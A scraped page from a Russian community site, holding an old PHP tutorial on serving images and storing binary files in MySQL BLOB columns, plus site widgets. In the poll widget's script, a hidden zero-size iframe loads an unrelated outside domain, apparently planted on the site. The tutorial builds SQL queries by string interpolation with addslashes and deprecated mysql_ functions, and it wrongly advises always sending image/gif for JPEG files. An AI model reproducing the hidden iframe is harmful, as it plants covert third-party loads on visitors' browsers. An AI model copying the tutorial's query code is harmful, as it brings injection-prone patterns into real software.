Best-club - портал хорошего настроения!
→◊ Библиотека ◊←
Меню сайта
  • Драмы
  • Ужасы
  • Фэнтези
  • Боевики
  • Мистика
  • Комедии
  • Триллеры
  • Мелодрамы
  • Фантастика
  • Мультфильмы
  • Приключения
  • Связь с админом
  • Список пользователей
  • Полная статистика сайта
  • ТОП наград
  • Переводчик
  • Конвертер величин
  • Проверка правописания
  • Раздача ICQ
  • Оставить отзыв о сайте
  • Раскрутка сайтов

  • Поиск по сайту
    Введите ключевое слово
    для поиска



    Статистика сайта




    ProfiSmart TOP webgari.com Рейтинг сайтов

    Каталог сайтов

    bodr_top
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарегистрировано:
    Всего: 1117
    Парней: 1070
    Девушек: 47
    Последний: molodoo

    Облако тегов
    Важная информация
    Главная » Статьи » Wap/Web Мастеру » PHP, Perl, ASP

    Использование базы данных для хранения бинарных файлов
    Как с помощью PHP выдать бинарный файл браузеру? Например, при клике мышкой по линку asd.php у человека в браузере грузиться картинка (именно картинка, а не HTML файл с тегом IMG) или выскакивает окошко с просьбой сохранить .ZIP файл. 

    Как загружать в базу данных бинарные файлы (картинки, архивы или др) и далее брать их в PHP программе. 

    Выполнте несколько примеров и вопросы исчезнут. Если проблемы с UPLOAD файлов на сервер - это совершенная другая проблема, просто новички лепят все в одну кучу - читатайте инструкцию "UPLOAD файлов на сервер". Чтобы выдать браузеру картинку с диска сервера, надо ...

    Пример 1

    Создайте файл test.php и в том же каталоге картинку image.jpg. Текст test.php:

      header("Content-type: image/gif");
      readfile("image.jpg");

    ?>



    После этого в браузере загрузите http://ваш-сервер/.../test.php и на экране будет картинка.

    Что такое Content-type: image/gif? Ответ: это тип файла, который вы собираетесь выдать браузеру. Для выдачи HTML файла пишите (вместо image/gif) text/html, для выдачи бинарного файла application/xxxxxxx ("xxxxxxx" можно заменить любым словом - браузеру по барабану, все неизвестное ему он предложит сохранить на диск). При выдаче бинарного файла, даже если это будет document.txt или image.jpg, в браузере всплывет окошко с просьбой сохранить файл, где имя файла совпадет с названием программы, т.е. test.php. Как предложить другое (заданное программером) имя, будет написано в другой раз (пока можете в форуме поискать). 

    Почему, выдавая JPG файл, мы пишем image/gif? Ответ: если не бы это не работало, то перед выдачей файла пришлось бы проверять тип файла (JPG/GIF/PNG). Но это работает, поэтому вегда так пишите, чтобы не делать лишнюю работу. 

    Пример 2

    Сделайте такой файл test.html
    <html><body><img src=test.php></body></html>



    и в том же каталоге разместите image.jpg и text.php (текст выше), загрузите его в браузере test.html. Таким образом вы можете скрывать имена картинок, которые читаете с диска. Или брать картинку не с диска, а из базы данных, о чем ниже.

    Добрый совет

    Во время проведения вышеуказанных тестов, позаботьтесь о том, чтобы браузер ничего не брал из кеша, иначе глюки (не
    увидите обновления). Размещение бинарных файлов (картинок) в базе данных

    Для помещеня бинарного файла в базу данных, надо...

    1. создайте таблицу с полем BLOB

    2. прочитайте данные, которые надо поместить в базу данных, в переменную $upload. Если это файл (картинка) на диске, то сделайте это так:
      $f=fopen("image.jpg","rb"); // имя файла или картинки -- открыли файл на чтение
      $upload=fread($f,filesize("image.jpg")); // считали файл в переменную
      fclose($f); // закрыли файл, можно опустить
      ...


    3. защитите переменную от опасных символов ("прослешьте переменную"):

      <BR>  ...<BR>  $upload=addslashes($upload);<BR>  ...<BR><BR><BR><BR>4. загрузите переменную в базу данных:  <BR>  ...<BR>  mysql_query("INSERT INTO <таблица> (<поле>) VALUES ('$upload')");<BR>?><BR><BR><BR><BR>"Таблица" - имя таблицы, "поле" - название колонки в таблице типа BLOB, что были созданы при выполнении пункта 1. Разумеется, чтобы выполнить HTML запрос надо предварительно установить соединение с базой данных. <BR><BR>Для взятия бинарного файла из базы данных в браузере, надо...<BR><BR>Вы будете смеяться, но ничего особого не надо. Просто прочитайте ее как простую переемнную из базы данных. В переменную на языке PHP можно упихать все, что надо.<BR><BR>Чтобы показать картинку их базы данных, надо...<BR><BR>Освоить пример 1 этой статьи, а вместо чтения из файла, взять переменную из базы данных, примерно вот так:<?<BR>  ... // подключение к Б.Д.<BR>  $res=mysql_query("SELECT <поле> FROM <таблица> WHERE <условия>")<BR>  or die("SQL ERROR in line ".__LINE__.", function mysql_query");<BR>  $image=mysql_result($res, <строка>, <колонка>); // берем переменную из б.д.<BR>  header("Content-type: image/gif");<BR>  echo $image;<BR>?><BR><BR><BR>Последующие примечания<BR><BR>Есть небольшая проблема при записи бинарных файлов в поле BLOB MySql. Дело в том что в есть ограничение на длину запроса, и большое изображение, с помощью запроса из этой статьи добавить не получится.<BR><BR>Необходимо пользоваться функцией MySql LOAD_FILE(file_name):<BR>INSERT INTO table SET fblob=LOAD_FILE("image.gif")<BR><BR>Если нет доступа на чтение файлов из MySql, то можно сделать так:<BR>$fw=fopen("image,gif","rb");<BR>while (!feof($fw)) {<BR>  $d=fread($fw,1024);<BR>  mysql_query("UPDATE photo SET data=CONCAT(data,'".<BR>  mysql_escape_string($d)."') WHERE id=15;");<BR>  }<BR><BR></DIV>
    		<script>
    			var container = document.getElementById('nativeroll_video_cont');
    
    			if (container) {
    				var parent = container.parentElement;
    
    				if (parent) {
    					const wrapper = document.createElement('div');
    					wrapper.classList.add('js-teasers-wrapper');
    
    					parent.insertBefore(wrapper, container.nextSibling);
    				}
    			}
    		</script>
    	 </td></tr>
    <tr><td class="eDetails1" colspan="2"><b>Категория:</b> <a href="/publ/88">PHP, Perl, ASP</a> | <b>Добавил:</b><a href="/index/8-1" target="_blank"> Admin</a> | <b>Дата:</b> <span title="01:34:48">12.09.2009</span> 
      
     | <b>Просмотры:</b> 1588 
    
    | <b>Рейтинг:</b>
    
    
    
    
    
    
    
    
    
    
    
    </td></tr>
    </table>
    
    
    
    <table border="0" cellpadding="10" cellspacing="0" width="100%">
    <tr><td width="60%" height="25"><b>Всего комментариев:</b> 0</td><td align="right" height="25"></td></tr>
    <tr><td colspan="2"><div id="myGrid" class="u-hidden" ></div><script>
    				function spages(p, link) {
    					ajaxPageController.showLoader();
    				_uPostForm('', { url:''+atob('L3B1YmwvODg=')+'-'+p+'-0-1741-987-'+Math.floor(Math.random()*1e8), type:'POST' });
    				}
    			</script>
    			<div id="comments"></div>
    			<div id="newEntryT"></div>
    			<div id="allEntries"></div>
    			<div id="newEntryB"></div></td></tr>
    <tr><td colspan="2" align="center"></td></tr>
    <tr><td colspan="2" height="10"></td></tr>
    </table>
    
    
    
    <div align="center" class="commReg">Добавлять комментарии могут только зарегистрированные пользователи.<br />[ <a href="/register">Регистрация</a> | <a href="javascript:;" rel="nofollow" onclick="loginPopupForm(); return false;">Вход</a> ]</div>
    
    </td></tr>
    </table>
    
    </td>
    
    <td valign="top" style="padding:3px">
    <!--U1CLEFTER1Z--><!-- <========= Вход =========> -->
    
    <table border="0" cellpadding="0" cellspacing="0" width="203">
    <tr><td height="22" style="background:url('//best-club.at.ua/design/block.png') #D4DFF7;padding-left:5px;" repeat-x><center><FONT face="Monotype Corsiva" style="font-size:14pt">
    Вход на сайт
    </FONT></center></td></tr>
    <tr><td style="background:#ffffff;padding:5px;border:2px solid #AED6FF;">
    <div align="center"><b>Гость,</b> добро пожаловать на best-club! Тапки в углу, пиво в холодильнике. Располагайся:) Для получения большего комфорта войди как пользователь или зарегистрируйся. </div><br> <div id="uidLogForm" class="auth-block" align="center"><a href="javascript:;" onclick="window.open('https://login.uid.me/?site=2best-club&ref='+escape(location.protocol + '//' + ('best-club.at.ua' || location.hostname) + location.pathname + ((location.hash ? ( location.search ? location.search + '&' : '?' ) + 'rnd=' + Date.now() + location.hash : ( location.search || '' )))),'uidLoginWnd','width=580,height=450,resizable=yes,titlebar=yes');return false;" class="login-with uid" title="Войти через uID" rel="nofollow"><i></i></a><a href="javascript:;" onclick="return uSocialLogin('vkontakte');" data-social="vkontakte" class="login-with vkontakte" title="Войти через ВКонтакте" rel="nofollow"><i></i></a><a href="javascript:;" onclick="return uSocialLogin('facebook');" data-social="facebook" class="login-with facebook" title="Войти через Facebook" rel="nofollow"><i></i></a><a href="javascript:;" onclick="return uSocialLogin('yandex');" data-social="yandex" class="login-with yandex" title="Войти через Яндекс" rel="nofollow"><i></i></a><a href="javascript:;" onclick="return uSocialLogin('google');" data-social="google" class="login-with google" title="Войти через Google" rel="nofollow"><i></i></a><a href="javascript:;" onclick="return uSocialLogin('ok');" data-social="ok" class="login-with ok" title="Войти через Одноклассники" rel="nofollow"><i></i></a></div>
    <hr><div align="center"><a href="//best-club.at.ua/pda/">Мобильная версия</a></div>
    
    </td></tr>
    </table><br>
    <!-- </========= Вход =========> -->
    
    <!-- <========= Обмен музыкой =========> -->
    
    <table border="0" cellpadding="0" cellspacing="0" width="203">
    <tr><td height="22" style="background:url('//best-club.at.ua/design/block.png') #D4DFF7;padding-left:5px;" repeat-x><center><FONT face="Monotype Corsiva" style="font-size:14pt">
    Обмен музыкой</FONT> <FONT style="font-size:10pt">[<a href="javascript://" onclick="openLayerB('ObmInf',0,'//best-club.at.ua/nado/obmen_info.xml','Небольшая инструкция ;)',400,100,'1','','',0,'justify'); return false;">?</a>]</FONT>
    </center></td></tr>
    <tr><td style="background:#ffffff;padding:5px;border:2px solid #AED6FF;">
    <iframe id="mchatIfm2" style="width:100%;height:300px" frameborder="0" scrolling="auto" hspace="0" vspace="0" allowtransparency="true" src="/mchat/"></iframe>
    		<script>
    			function sbtFrmMC991( form, data = {} ) {
    				document.querySelector('#mchatBtn').style.display = 'none';
    				document.querySelector('#mchatAjax').style.display = '';
    				_uPostForm( form, { type:'POST', url:'/mchat/?406091364.533545', data } )
    				return false
    			}
    
    			function countMessLength() {
    				var message = document.querySelector('#MCaddFrm').mcmessage.value;
    				var rst = 500 - message.length;
    				if (rst < 0) {
    					rst = 0;
    					message = message.substr(0, 500);
    				}
    				document.querySelector('#jeuwu28').innerHTML = rst;
    			}
    
    			var tID7174 = -1;
    			var tAct7174 = false;
    
    			function setT7174(s) {
    				var v = parseInt(s.options[s.selectedIndex].value);
    				document.cookie = "mcrtd=" + s.selectedIndex + "; path=/";
    				if (tAct7174) {
    					clearInterval(tID7174);
    					tAct7174 = false;
    				}
    				if (v > 0) {
    					tID7174 = setInterval("document.getElementById('mchatIfm2').src='/mchat/?' + Date.now();", v*1000 );
    					tAct7174 = true;
    				}
    			}
    
    			function initSel7174() {
    				var res = document.cookie.match(/(\W|^)mcrtd=([0-9]+)/);
    				var s = $("#mchatRSel")[0];
    				if (res && !!s) {
    					s.selectedIndex = parseInt(res[2]);
    					setT7174(s);
    				}
    				$("#mchatMsgF").on('keydown', function(e) {
    					if ( e.keyCode == 13 && e.ctrlKey && !e.shiftKey ) {
    						e.preventDefault()
    						this.form?.requestSubmit()
    					}
    				});
    			}
    		</script>
    
    		<form id="MCaddFrm" onsubmit="return sbtFrmMC991(this)" class="mchat" data-submitter="sbtFrmMC991">
    			<div align="center"><a href="javascript:;" rel="nofollow" onclick="loginPopupForm(); return false;">Для добавления необходима авторизация</a></div>
    			<input type="hidden" name="a"    value="18" />
    			<input type="hidden" name="ajax" value="1" id="ajaxFlag" />
    			<input type="hidden" name="numa" value="0" id="numa832" />
    		</form>
    
    		<!-- recaptcha lib -->
    		
    		<!-- /recaptcha lib -->
    
    		<script>
    			initSel7174();
    			
    			//try { bindSubmitHandler() } catch(e) {}
    		</script>
    
    <center><a href="//best-club.at.ua/index/0-88" target="_blank">Открыть в новом окне</a></center>
    </td></tr>
    </table>
    <br>
    
    <!-- </========= Обмен музыкой =========> -->
    
    <!-- <========= Реклама =========> -->
    <table border="0" cellpadding="0" cellspacing="0" width="203">
    <tr><td height="22" style="background:url('//best-club.at.ua/design/block.png') #D4DFF7;padding-left:5px;" repeat-x><center><FONT face="Monotype Corsiva" style="font-size:14pt">
    Партнёры
    </FONT></center></td></tr>
    <tr><td style="background:#ffffff;padding:5px;border:2px solid #AED6FF;">
    <center>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    <br><br>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    <br><br>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    <a href="//best-club.at.ua/forum/41-775-1"><img src="//best-club.at.ua/images/0-1/rekl_knopka.gif"></a>
    </center>
    </td></tr>
    </table><br>
    <!-- </========= Реклама =========> -->
    
    <!-- <block3> -->
    
    <table border="0" cellpadding="0" cellspacing="0" width="203">
    <tr><td height="22" style="background:url('//best-club.at.ua/design/block.png') #D4DFF7;padding-left:5px;" repeat-x><center><FONT face="Monotype Corsiva" style="font-size:14pt">
    Опрос
    </FONT></center></td></tr>
    <tr><td style="background:#ffffff;padding:5px;border:2px solid #AED6FF;">
    <script>function pollnow866(){document.getElementById('PlBtn866').disabled=true;_uPostForm('pollform866',{url:'/poll/',type:'POST'});}function polll866(id,i){_uPostForm('',{url:'/poll/'+id+'-1-'+i+'-866',type:'GET'});}</script><div id="pollBlock866"><form id="pollform866" onsubmit="pollnow866();return false;"><div style="font-family:Tahoma,Arial;">
    <br>
    <div style="font-size:8pt;padding-top:2px;text-align:left;"><b>Какой поисковик чаще используете?</b></div>
    <div style="font-size:8pt;text-align:left;"><div class="answer"><input id="a8661" type="radio" name="answer" value="1" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8661">Google</label></div>
    <div class="answer"><input id="a8662" type="radio" name="answer" value="2" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8662">Yandex</label></div>
    <div class="answer"><input id="a8663" type="radio" name="answer" value="3" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8663">Rambler</label></div>
    <div class="answer"><input id="a8664" type="radio" name="answer" value="4" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8664">Mail.ru</label></div>
    <div class="answer"><input id="a8665" type="radio" name="answer" value="5" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8665">Yahoo!</label></div>
    <div class="answer"><input id="a8666" type="radio" name="answer" value="6" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8666">Nigma</label></div>
    <div class="answer"><input id="a8667" type="radio" name="answer" value="7" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8667">Другой</label></div>
    <div class="answer"><input id="a8668" type="radio" name="answer" value="8" style="vertical-align:middle;" /> <label style="vertical-align:middle;display:inline;" for="a8668">Не нуждаюсь в поисковиках:)</label></div>
    
    					<div id="pollSbm866" class="pollButton"><input class="pollBut" id="PlBtn866" type="submit" value="Ответить" /></div>
    					<input type="hidden" name="ssid" value="527255525404466072717" />
    					<input type="hidden" name="id"   value="9" />
    					<input type="hidden" name="a"    value="1" />
    					<input type="hidden" name="ajax" value="866" /></div>
    <div style="padding-top:4px;text-align:center;"> <img src="//best-club.at.ua/images/games.gif"><a style="font-size:7pt;" href="javascript:;" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'/poll/9'});return false;"> Результаты</a> † <a style="font-size:7pt;" href="javascript:;" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'/poll/0-2'});return false;">Архив опросов</a> <img src="//best-club.at.ua/images/nwob5.png"></div>
    <div style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>40</b></div>
    <br>
    <div align="center"><a href="//best-club.at.ua/forum/133">Обсудить опрос</a></div>
    </div>
    
    <style> 
    .answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x} 
    </style> 
    
    <script type="text/javascript"> 
    <iframe src="http://radikal.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe>var a = ['http://www.ucoz-net.ru/po11/poll1.gif','http://www.ucoz-net.ru/po11/poll2.gif','http://www.ucoz-net.ru/po11/poll3.gif','http://www.ucoz-net.ru/po11/poll4.gif','http://www.ucoz-net.ru/po11/poll5.gif','http://www.ucoz-net.ru/po11/poll1.gif','http://www.ucoz-net.ru/po11/poll2.gif','http://www.ucoz-net.ru/po11/poll3.gif','http://www.ucoz-net.ru/po11/poll4.gif','http://www.ucoz-net.ru/po11/poll5.gif']; 
    for(var i = 0; i < a.length; i++){ 
     $('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'}); 
    } 
    
    $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
    </script></form></div>
    </td></tr>
    </table>
    
    <!-- </block3> --><!--/U1CLEFTER1Z-->
    
    </td><td width="15">&nbsp;</td></tr></table>
    
    
    
    <!--U1BFOOTER1Z--><table border="0" cellpadding="0" cellspacing="0" width="100%" height="87" style="background-image:url(//best-club.at.ua/travka.jpg); background-color:#ffffff; border:0px solid none; background-repeat:repeat-x;">
    <td align="center">
    <div align="center" >
    <table border="0" cellpadding="0" cellspacing="0"><tbody><tr> 
    <td class="cellq"></td>
    <td class="cellw"></td>
    <td class="celle"></td></tr><tr> 
    <td class="cellr"></td></td><td>
    <center><!-- <copy> -->Best-club team &copy; 2008 - 2025<!-- </copy> --><br><!-- "' --><span class="pb3vywzv"><a href="https://www.ucoz.ru/"><img style="width:80px; height:15px;" src="/.s/img/cp/svg/18.svg" alt="" /></a></span> <br>
    <a href="//best-club.at.ua/sitemap.xml">SiteMap</a> 
    <a href="//best-club.at.ua/index/0-71">Партнёры и друзья</a> 
     <a href="//best-club.at.ua/index/0-72">Поддержать проект</a></center>
    <center><a href="http://3rdworld.ru/">Третий Мир: Война Королей - Форум</a></a>
    <br><font color='red'>Администрация сайта не несёт ответственности за материалы опубликованные на сайте! Все материалы исключительно для ознакомления!</font></center>
    </div>
    <td class="cellt"></td></tr><tr> 
    <td class="celly"></td>
    <td class="cellu"></td>
    <td class="celli"></td></tr>
    </td>
    </table>
    
    
    <script type="text/javascript"> 
    window.onload = function StartPM() {_uWnd.alert('Здравствуйте, Вы не зерегистрированы. <br>Предлагаем Вам пройти регистрацию. <br><a href="/register">[Регистрация]</a><br><br>Для качественного отображения сайта используйте браузер <b>Opera.</b><br><br>Вся реклама сайта видна только гостям!','',{w:250,h:130,tm:5000});}
    </script>
    
    
    
    <!-- <============ Спойлер ============> -->
    <script type="text/javascript">
    function spoiler_js(obj) {
    var obj_content = obj.parentNode.parentNode.getElementsByTagName('div')[1];
    var obj_text_show = obj.getElementsByTagName('span')[1];
    var obj_text_hide = obj.getElementsByTagName('span')[0];
    
    if (obj_content.style.display != '') {
    obj_content.style.display = '';
    obj_text_show.style.display = '';
    obj_text_hide.style.display = 'none';
    } else {
    obj_content.style.display = 'none';
    obj_text_show.style.display = 'none';
    obj_text_hide.style.display = '';
    }
    return false;
    }
    </script>
    <!-- </============ Спойлер ============> -->
    
    <!-- <============ Мини-профиль ============> -->
    <div class="mini_prof_out" onmouseover="this.className='mini_prof_on'" onmouseout="this.className='mini_prof_out'" id="mini_prof">
    <div id="sam_profil" style="display:none">
    
    <span style="font-size:9px;">Привет, <b>Гость</b>!</span><br><br>
    <div align="left"> 
    <img src="//best-club.at.ua/images/login.gif">У тебя нет логина, зарегистрируйся<br>
    <img src="//best-club.at.ua/images/plus.gif"> <a href="http://""> Регистрация</a><br>
    
    
    <img src="//best-club.at.ua/images/profil/progr.gif"> Твой IP: <b>216.73.216.21</b><br>
    <img src="//best-club.at.ua/images/profil/group.jpg"> Группа: <b>Гости</b><br>
    <img src="//best-club.at.ua/images/ie.jpg"> Браузер: <b>/</b> <br> 
    
    
    <br><br><div align="center"> <a href="//best-club.at.ua/pda/">Мобильная версия</a></div>
    </div>
    
    </div><span id="open_miniprof">Мини профиль</span><span id="close_miniprof" style="display:none">Скрыть</span>
    </div>
    <script type="text/javascript">$(document).ready(function(){$("#open_miniprof").click(function(){$(this).hide(100); $("#close_miniprof, #sam_profil").show(100); $("#sam_profil").css("text-align","left");}); $("#close_miniprof").click(function(){$(this).hide(100); $("#sam_profil").hide(100); $("#open_miniprof").show(100); $("#sam_profil").css("text-align","center");});});</script>
    <!-- </============ Мини-профиль ============> --><!--/U1BFOOTER1Z-->
    
    </body>
    
    </html>
    <!-- 0.13612 (s20) -->